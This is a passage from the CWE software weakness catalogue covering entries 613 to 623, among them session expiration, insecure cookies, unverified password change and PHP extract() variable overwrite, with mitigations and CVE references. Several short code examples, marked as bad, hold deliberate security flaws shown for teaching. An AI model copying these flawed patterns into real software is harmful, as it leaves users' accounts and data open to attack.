MemberOf		1018	Manage User Sessions	2225

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1217	User Session Errors	2272

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Set sessions/credentials expiration date.

### Demonstrative Examples

#### Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

*Example Language: Java*

*(Bad)*

```
<web-app>
  [...snipped...]
```



```
<session-config>
  <session-timeout>-1</session-timeout>
</session-config>
</web-app>
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	<b>C</b>	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189
MemberOf	<b>C</b>	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Notes

### Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	47		Insufficient Session Expiration

## CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

**Weakness ID** : 614

**Structure** : Simple

**Abstraction** : Variant

### Description

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	319	Cleartext Transmission of Sensitive Information	740



## Applicable Platforms

**Technology** : Web Based (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

## Demonstrative Examples

### Example 1:

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Example Language: Java

(Bad)

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

## Observed Examples

Reference	Description
<b>CVE-2004-0462</b>	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0462">https://www.cve.org/CVERecord?id=CVE-2004-0462</a>
<b>CVE-2008-3663</b>	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3663">https://www.cve.org/CVERecord?id=CVE-2008-3663</a>
<b>CVE-2008-3662</b>	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3662">https://www.cve.org/CVERecord?id=CVE-2008-3662</a>
<b>CVE-2008-0128</b>	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0128">https://www.cve.org/CVERecord?id=CVE-2008-0128</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	966	SFP Secondary Cluster: Other Exposures	888	2196
MemberOf	<b>C</b>	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

## CWE-615: Inclusion of Sensitive Information in Source Code Comments

**Weakness ID** : 615

**Structure** : Simple

**Abstraction** : Variant

### Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

### Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		540	Inclusion of Sensitive Information in Source Code	1180
PeerOf		546	Suspicious Comment	1186

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

### Demonstrative Examples

#### Example 1:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

*Example Language: JSP*

*(Bad)*


```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

### Observed Examples

Reference	Description
<b>CVE-2007-6197</b>	Version numbers and internal hostnames leaked in HTML comments. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6197">https://www.cve.org/CVERecord?id=CVE-2007-6197</a>
<b>CVE-2007-4072</b>	CMS places full pathname of server in HTML comment. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4072">https://www.cve.org/CVERecord?id=CVE-2007-4072</a>
<b>CVE-2009-2431</b>	blog software leaks real username in HTML comment. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2431">https://www.cve.org/CVERecord?id=CVE-2009-2431</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

**Weakness ID :** 616

**Structure :** Simple

**Abstraction :** Variant

### Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. \$varname, \$varname\_size, \$varname\_name, \$varname\_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.



### Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		473	PHP External Variable Modification	1066

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** PHP (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Architecture and Design

Use PHP 4 or later.

#### Phase: Architecture and Design

If you must support older PHP versions, write your own version of is\_uploaded\_file() and run it against \$HTTP\_POST\_FILES['userfile'])

#### Phase: Implementation

For later PHP versions, reference uploaded files using the `$HTTP_POST_FILES` or `$_FILES` variables, and use `is_uploaded_file()` or `move_uploaded_file()` to ensure that you are dealing with an uploaded file.

## Demonstrative Examples

### Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

*Example Language: PHP*

*(Bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

### Example 2:

"The global `$_FILES` exists as of PHP 4.1.0 (Use `$HTTP_POST_FILES` instead if using an earlier version). These arrays will contain all the uploaded file information."

*Example Language: PHP*

*(Bad)*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

\*\* note: 'userfile' is the field name from the web form; this can vary.

## Observed Examples

Reference	Description
<b>CVE-2002-1460</b>	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1460">https://www.cve.org/CVERecord?id=CVE-2002-1460</a>
<b>CVE-2002-1759</b>	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as <code>\$_POST</code> . <a href="https://www.cve.org/CVERecord?id=CVE-2002-1759">https://www.cve.org/CVERecord?id=CVE-2002-1759</a>
<b>CVE-2002-1710</b>	Product does not distinguish uploaded file from other files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1710">https://www.cve.org/CVERecord?id=CVE-2002-1710</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Identification of Uploaded File Variables (PHP)
Software Fault Patterns	SFP25		Tainted input to variable

## References

[REF-502]Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".

## CWE-617: Reachable Assertion

**Weakness ID** : 617  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

### Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384
CanFollow		193	Off-by-one Error	466

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1384

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Weakness Ordinalities

**Resultant** :

### Alternate Terms

**assertion failure** :

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.</i>	

### Potential Mitigations

**Phase: Implementation**

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

**Phase: Implementation**

*Strategy = Input Validation*

Perform input validation on user data.

**Demonstrative Examples**

**Example 1:**

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

*Example Language: Java*

*(Bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

**Observed Examples**

Reference	Description
<b>CVE-2006-6767</b>	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6767">https://www.cve.org/CVERecord?id=CVE-2006-6767</a>
<b>CVE-2006-6811</b>	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6811">https://www.cve.org/CVERecord?id=CVE-2006-6811</a>
<b>CVE-2006-5779</b>	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure. <a href="https://www.cve.org/CVERecord?id=CVE-2006-5779">https://www.cve.org/CVERecord?id=CVE-2006-5779</a>
<b>CVE-2006-4095</b>	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4095">https://www.cve.org/CVERecord?id=CVE-2006-4095</a>
<b>CVE-2006-4574</b>	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4574">https://www.cve.org/CVERecord?id=CVE-2006-4574</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf		884	CWE Cross-section	884	2327
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf		1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET01-J		Never use assertions to validate method arguments

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

## CWE-618: Exposed Unsafe ActiveX Method

**Weakness ID :** 618

**Structure :** Simple

**Abstraction :** Base

### Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

### Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		749	Exposed Dangerous Method or Function	1456
PeerOf		623	Unsafe ActiveX Control Marked Safe For Scripting	1307

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

### Weakness Ordinalities

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

#### Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

#### Phase: Architecture and Design

#### Phase: System Configuration

Where possible, avoid marking the control as safe for scripting.



## Observed Examples

Reference	Description
<b>CVE-2007-1120</b>	download a file to arbitrary folders. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1120">https://www.cve.org/CVERecord?id=CVE-2007-1120</a>
<b>CVE-2006-6838</b>	control downloads and executes a url in a parameter <a href="https://www.cve.org/CVERecord?id=CVE-2006-6838">https://www.cve.org/CVERecord?id=CVE-2006-6838</a>
<b>CVE-2007-0321</b>	resultant buffer overflow <a href="https://www.cve.org/CVERecord?id=CVE-2007-0321">https://www.cve.org/CVERecord?id=CVE-2007-0321</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		977	SFP Secondary Cluster: Design	888	2200

## References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < <https://msdn.microsoft.com/en-us/library/ms885903.aspx> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-619: Dangling Database Cursor ('Cursor Injection')

**Weakness ID** : 619

**Structure** : Simple

**Abstraction** : Base

## Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

## Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		402	Transmission of Private Resources into a New Sphere ('Resource Leak')	924
CanFollow		404	Improper Resource Shutdown or Release	927

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

## Weakness Ordinalities

**Primary :** This could be primary when the programmer never attempts to close the cursor when finished with it.

**Resultant :**

### Applicable Platforms

**Language :** SQL (*Prevalence = Undetermined*)

### Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

### References

[REF-505]David Litchfield. "The Oracle Hacker's Handbook".

[REF-506]David Litchfield. "Cursor Injection". < <http://www.databasesecurity.com/dbsec/cursor-injection.pdf> >.

## CWE-620: Unverified Password Change

**Weakness ID :** 620

**Structure :** Simple

**Abstraction :** Base

### Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

### Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

#### Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

### Demonstrative Examples

#### Example 1:

This code changes a user's password.

*Example Language: PHP*

*(Bad)*

```
$user = $_GET['user'];  
$pass = $_GET['pass'];  
$checkpass = $_GET['checkpass'];  
if ($pass == $checkpass) {  
    SetUserPassword($user, $pass);  
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be

changed. An attacker can request a change of another user's password and gain control of the victim's account.

### Observed Examples

Reference	Description
<b>CVE-2007-0681</b>	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-0681">https://www.cve.org/CVERecord?id=CVE-2007-0681</a></i>
<b>CVE-2000-0944</b>	Web application password change utility doesn't check the original password. <i><a href="https://www.cve.org/CVERecord?id=CVE-2000-0944">https://www.cve.org/CVERecord?id=CVE-2000-0944</a></i>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	<b>C</b>	952	SFP Secondary Cluster: Missing Authentication	888	2189
MemberOf	<b>C</b>	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
Software Fault Patterns	SFP31		Missing authentication

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-621: Variable Extraction Error

**Weakness ID** : 621  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

### Extended Description

For example, in PHP, extraction can be used to provide functionality similar to `register_globals`, a dangerous functionality that is frequently disabled in production systems. Calling `extract()` or `import_request_variables()` without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	914	Improper Control of Dynamically-Identified Variables	1682
CanPrecede	<b>E</b>	471	Modification of Assumed-Immutable Data (MAID)	1060

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** PHP (*Prevalence = Undetermined*)

### Alternate Terms

**Variable overwrite :**

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>An attacker could modify sensitive data or program variables.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Use allowlists of variable names that can be extracted.

### Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

### Phase: Implementation

In PHP, call `extract()` with options such as `EXTR_SKIP` and `EXTR_PREFIX_ALL`; call `import_request_variables()` with a prefix argument. Note that these capabilities are not present in all PHP versions.

## Demonstrative Examples

### Example 1:

This code uses the credentials sent in a POST request to login a user.

*Example Language: PHP*

*(Bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
```

```

    $isAdmin = true;
  }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));

```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

### Observed Examples

Reference	Description
<b>CVE-2006-7135</b>	extract issue enables file inclusion <a href="https://www.cve.org/CVERecord?id=CVE-2006-7135">https://www.cve.org/CVERecord?id=CVE-2006-7135</a>
<b>CVE-2006-7079</b>	extract used for register_globals compatibility layer, enables path traversal <a href="https://www.cve.org/CVERecord?id=CVE-2006-7079">https://www.cve.org/CVERecord?id=CVE-2006-7079</a>
<b>CVE-2007-0649</b>	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0649">https://www.cve.org/CVERecord?id=CVE-2007-0649</a>
<b>CVE-2006-6661</b>	extract() enables static code injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-6661">https://www.cve.org/CVERecord?id=CVE-2006-6661</a>
<b>CVE-2006-2828</b>	import_request_variables() buried in include files makes post-disclosure analysis confusing <a href="https://www.cve.org/CVERecord?id=CVE-2006-2828">https://www.cve.org/CVERecord?id=CVE-2006-2828</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Probably under-reported for PHP. Seems under-studied for other interpreted languages.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-622: Improper Validation of Function Hook Arguments

**Weakness ID** : 622

**Structure** : Simple

**Abstraction** : Variant

### Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

### Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

### Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.

## Observed Examples

Reference	Description
<b>CVE-2007-0708</b>	DoS in firewall using standard Microsoft functions <a href="https://www.cve.org/CVERecord?id=CVE-2007-0708">https://www.cve.org/CVERecord?id=CVE-2007-0708</a>
<b>CVE-2006-7160</b>	DoS in firewall using standard Microsoft functions <a href="https://www.cve.org/CVERecord?id=CVE-2006-7160">https://www.cve.org/CVERecord?id=CVE-2006-7160</a>
<b>CVE-2007-1376</b>	function does not verify that its argument is the proper type, leading to arbitrary memory write <a href="https://www.cve.org/CVERecord?id=CVE-2007-1376">https://www.cve.org/CVERecord?id=CVE-2007-1376</a>
<b>CVE-2007-1220</b>	invalid syscall arguments bypass code execution limits <a href="https://www.cve.org/CVERecord?id=CVE-2007-1220">https://www.cve.org/CVERecord?id=CVE-2007-1220</a>
<b>CVE-2006-4541</b>	DoS in IDS via NULL argument <a href="https://www.cve.org/CVERecord?id=CVE-2006-4541">https://www.cve.org/CVERecord?id=CVE-2006-4541</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2209

## Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP27		Tainted input to environment

## CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

**Weakness ID :** 623

**Structure :** Simple

**Abstraction :** Variant

### Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

### Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		267	Privilege Defined With Unsafe Actions	608
PeerOf		618	Exposed Unsafe ActiveX Method	1299

### Weakness Ordinalities

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Architecture and Design

During development, do not mark it as safe for scripting.

#### Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

### Observed Examples

Reference	Description
<b>CVE-2007-0617</b>	control allows attackers to add malicious email addresses to bypass spam limits <a href="https://www.cve.org/CVERecord?id=CVE-2007-0617">https://www.cve.org/CVERecord?id=CVE-2007-0617</a>
<b>CVE-2007-0219</b>	web browser uses certain COM objects as ActiveX <a href="https://www.cve.org/CVERecord?id=CVE-2007-0219">https://www.cve.org/CVERecord?id=CVE-2007-0219</a>
<b>CVE-2006-6510</b>	kiosk allows bypass to read files <a href="https://www.cve.org/CVERecord?id=CVE-2006-6510">https://www.cve.org/CVERecord?id=CVE-2006-6510</a>

### MemberOf Relationships

